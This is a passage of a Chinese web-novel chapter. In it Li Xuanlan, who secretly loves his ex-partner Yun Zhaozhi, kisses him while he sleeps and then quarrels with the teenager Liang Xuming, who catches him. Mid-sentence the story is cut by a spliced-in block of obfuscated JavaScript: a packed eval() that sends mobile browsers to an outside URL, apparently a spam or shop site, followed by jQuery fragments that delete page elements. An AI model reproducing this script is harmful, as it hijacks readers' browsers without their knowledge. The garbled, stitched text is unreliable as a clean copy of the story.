半天都没有得到回应,李轩览抬起头,才发现云昭至已经睡着了。
他伸出手在云昭至泛红的眼尾上方虚虚拂过,却克制着没有去触碰。
从多年前他在云顶会所看见云昭至的第一眼,他就知道对方是怎样荒淫无度的一个人。
那时的云昭至驾轻就熟地游走在不同男人之间,一瞥一笑颇具风情,眼波流转间却隐隐透着纯净的水光。
媚而不俗,靡艳放/荡又楚楚动人。
空有一副好看皮囊的人在夜场里随处可见,李轩览虽然没有亲自参与过,但围观的次数不少,却从来没有碰到过心动的。
只有那一次,他无法将目光从云昭至身上挪开。
他听周围人说,那个红棕色头发的男人是这里最受欢迎的“交际花”,来找他的客人数不胜数。
所以一开始,李轩览并没有打算认真。
他一时兴起的事物太多了,虽然云昭至是他第一个如此感兴趣的活人,但他并不觉得对方和他其他三分钟热度的兴趣爱好会有什么区别。
可能是他的态度过于轻浮,让云昭至误会了他是身经百战的海王。
李轩览一开始觉得无所谓,后面也试图解释过,但云昭至只是笑笑,看不出是不信还是不在意。
比起恋爱,他们更像是在玩一场双方都心知肚明没有走心的游戏。
太过亲密太过无话不谈的很多时候都会被误会成心动,所以李轩览总以为只是一时上头,只是吊桥效应。
直到那一天他们去看新上映的喜剧电影,黑暗中李轩览拿爆米花的手和身旁人恰巧碰到,一瞬间心跳如鼓。
电影里的主角为了爱人义无反顾地选择赴死,那一刻他冒出的第一个想法是,如果是云昭至有事,他应该也会这样。
这个想法出现的很平淡,没有惊心动魄的情绪,就好像这个想法很平常。
下一秒他反应过来自己自然而然地想了什么,脸色刷一下全白了,背后也冒出冷汗。
他不自觉微微侧头,电影院昏暗的光线里云昭至蒲扇似的睫毛卷翘,眼底映出斑驳的电影画面。
电影院的空气里弥漫着爆米花和各种果茶混合在一起的气味,若有若无。
李轩览却从中嗅到了从云昭至身上传来的那点幽香,与此同时他听见了自己的心跳声。
咚、咚、咚。
心脏在胸膛里跳得飞快。
他忽然意识到自己完了。
好像不是一时上头,好像真的和之前三分钟热度的事物不一样。
好像他真的爱上了云昭至。
是他无数次告诫自己不该动心,是他明知道不会有结果还是一步一步不听使唤走到今天这一步。
这时喜剧电影放到了一个小高潮,电影院里瞬间爆发出笑声,云昭至也在抿着唇轻笑。
李轩览也笑了,顺利地融入。
黑暗掩盖住了他的表情,他的目光,他的一切情绪。
明亮的大屏幕在视线里一点一点变得模糊,字幕如同融化的糖浆粘连在一起,如同一团团色块,看不真切。
余光里,云昭至的面容也变得朦朦胧胧。
有一秒李轩览看见云昭至似乎微微侧头看向自己,但只是眨了一下眼睛的功夫对方又恢复了原来的姿势。
原来只是错觉。
云昭至在夜场待了好几年,有很多人爱戴他,也有很多人痛恨他。
但无论是前者还是后者都有一个共识:和云昭至谈感情是没有好结果的。
一个在夜场流连多年的交际花能有几分真心?
李轩览和那些人稍微有一点不同,他和云昭至更亲密,也更了解对方。
所以他更知道云昭至的多情无心,也知道他们继续这样下去迟早会变成一地狼藉。
所以他在还没有走到无法挽回的地步时主动提出分手,是想让自己及时止损,也是觉得当朋友更长久。
宁愿做永远的朋友,也不做云昭至身边来来往往的客人之一。
李轩览提出在一起和提出分手时都太淡然太随意,以至于云昭至那样聪明的人也会一叶障目。
他真的以为这是一场两个人都没有认真的恋爱游戏,而当游戏的另外一位玩家厌倦了提出结束,他也就很配合地点头同意,让两个人的关系从情侣变成朋友。
云昭至永远不会不知道那一场电影里李轩览偷偷看了自己多少次,他只知道这部电影很搞笑,只知道当时李轩览在身边笑得浑身发颤。
李轩览看着云昭至熟睡的面孔,恍惚间又想起自己提出分手的那天。
说出口前他的心情很复杂,既害怕云昭至问原因时自己不知道怎么回答,又害怕云昭至不问。
不问代表不在意。
怕云昭至呼吸不畅,李轩览轻轻把被子往下拉了拉,露出那张苍白的面容。
不如往日明媚,却透出一种惊心动魄的破碎感,嘴唇在惨白肤色的衬托下更显殷红,分外吸睛。
那点红仿佛融进了李轩览的眼底,将他的眸色也染得赤红。
房间里只有云昭至清清浅浅的呼吸声,氛围一片安静祥和。
李轩览盯着那点红,情不自禁俯下身,蜻蜓点水般在那柔软上碰了碰。
唇瓣相贴的那一秒身后的房门骤然打开,大脑还没反应过来瞳孔已经瞬间紧缩。
这个吻一触即分,李轩览直起身,回头就对上了少年震怒的目光。
没等对方发难,他就率先开口,语调冷静:“先出去。”
他看了一无所知睡着觉的云昭至一眼,目光里带着怜惜:“别吵醒他。”
李轩览表面上气定凝神,其实心里早就被恐慌占据,他无法预测出云昭至知道自己偷亲他之后的反应。
等到了客厅,梁旭铭立刻像一头愤怒的小兽一样冲上前,眼底燃着熊熊怒火。
他想过李轩览可能对云昭至怀有别样的心思,但到底没有亲眼见到,也没想过李轩览会在他和云昭至的小家就如此胆大妄为。
要知道云昭至客人再多也没有把人带到家里来过!
李轩览一不留神还真被重重打了一拳,肋骨瞬间爆发剧烈疼痛。
他倒吸一口凉气,云昭至都是怎么养孩子的,一个高中生长那么高壮力气还大,和他这个高大健壮的成年男人比起来也不相上下。
“你在对云昭至做什么?”梁旭铭气得眼睛都红了,甚至直接叫了云昭至的大名,看着面前人的眼神就像是在看有血海深仇的仇人。
那目光中的暴戾凶煞让见惯风浪的李轩览都在心
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17299257|198621||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
底暗暗吃惊,但他表面上依旧保持平静,甚至还笑了一下:“我为什么要对你解释?你是吱吱的谁?”
态度里的嘲讽和轻视昭然若揭,亲昵的称呼更是在梁旭铭的愤怒上又加了一把火,他当即就咬牙挥出拳:“你竟然这样对他……”
这次李轩览没有再和刚刚那样站着挨打,而是侧身躲过了这一拳,却没有选择还手,不然云昭至醒来肯定要怪他。
“我怎么对他了?我和他更亲密的事情都做过,亲一下算得了什么?”李轩览理直气壮:“我和他谈恋爱的时候你还不知道在哪喝奶呢,在这喊什么?”
梁旭铭脑子里“嗡”一声短路了。
李轩览竟然和云昭至谈过恋爱?
那为什么在他问云昭至谈过几次恋爱时对方说只有他哥一个?
没等纷乱的脑海理清思路,李轩览咄咄逼人的下一段话就砸了上来:
“吱吱刚睡着你就闹,是存心不想让他睡好觉?还是想让他醒来给你当裁判?”
眼见梁旭铭已经快要气疯了,李轩览又轻飘飘一句话成功让对方停住了动作:
“就是不知道在他心里是你这个决裂初恋的弟弟重要,还是我这个朋友重要了。”
梁旭铭的理智终于稍微回归,下意识觉得自己会是被放弃的那一个。
就算不是,在只有他动了手的情况下云昭至也肯定会生他的气。
这么一想,他更觉得李轩览阴险狡诈,说不定是想通过卖惨让云昭至心软。
半晌,梁旭铭面色沉沉道:“你就不怕我把你偷亲他的事情告诉他?”
李轩览冷下脸一言不发,从来没有一刻像现在这样觉得面前这个云昭至带在身边的小孩那么烦人过。
梁旭铭观察了一会儿,眉眼间的焦躁褪去,慢条斯理地开口:“哦,原来是怕的。”
沉默几秒,李轩览忽然露出一个虚假的笑,破罐子破摔般道:“你去告诉他啊,说不定他心里对我也有一点好感,你说了我就顺势对他表白,如果成了婚礼上让你坐主桌。”
梁旭铭没想到他那么不要脸,被气得快要吐血:“他怎么可能对你有好感?而且他现在有男朋友,你是在上赶着当小三吗?”
他头一回觉得云昭至有男朋友也是好事,起码可以劝退很大一部分对云昭至虎视眈眈的人。
李轩览眸光微动,语气意味深长:“有些事情你太小了还不明白,吱吱也不会和你说,他和他那个男朋友之间可没那么简单,他们不可能走到最后的。”
梁旭铭受够了对方那种话里话外暗示自己年龄小,对方和云昭至才是同龄人的高高在上,云昭至都很少这样教育他,李轩览凭什么?
把李轩览赶走后,梁旭铭轻手轻脚地走进云昭至的卧室。
春天的空气里仿佛都弥漫着潮湿的水汽,玻璃窗上雾蒙蒙一片。
梁旭铭给云昭至掖了掖被角,坐在床边发呆。
他想了很久也没想好,到底要不要把李轩览偷亲云昭至的事情说出来。
直觉告诉他云昭至现在对李轩览并没有爱情上的好感——但是万一呢?
毕竟他们在一起过,万一李轩览说的成真了呢?万一云昭至真的对李轩览也有那么一点心思,那他告诉云昭至不就等于变相撮合他们了?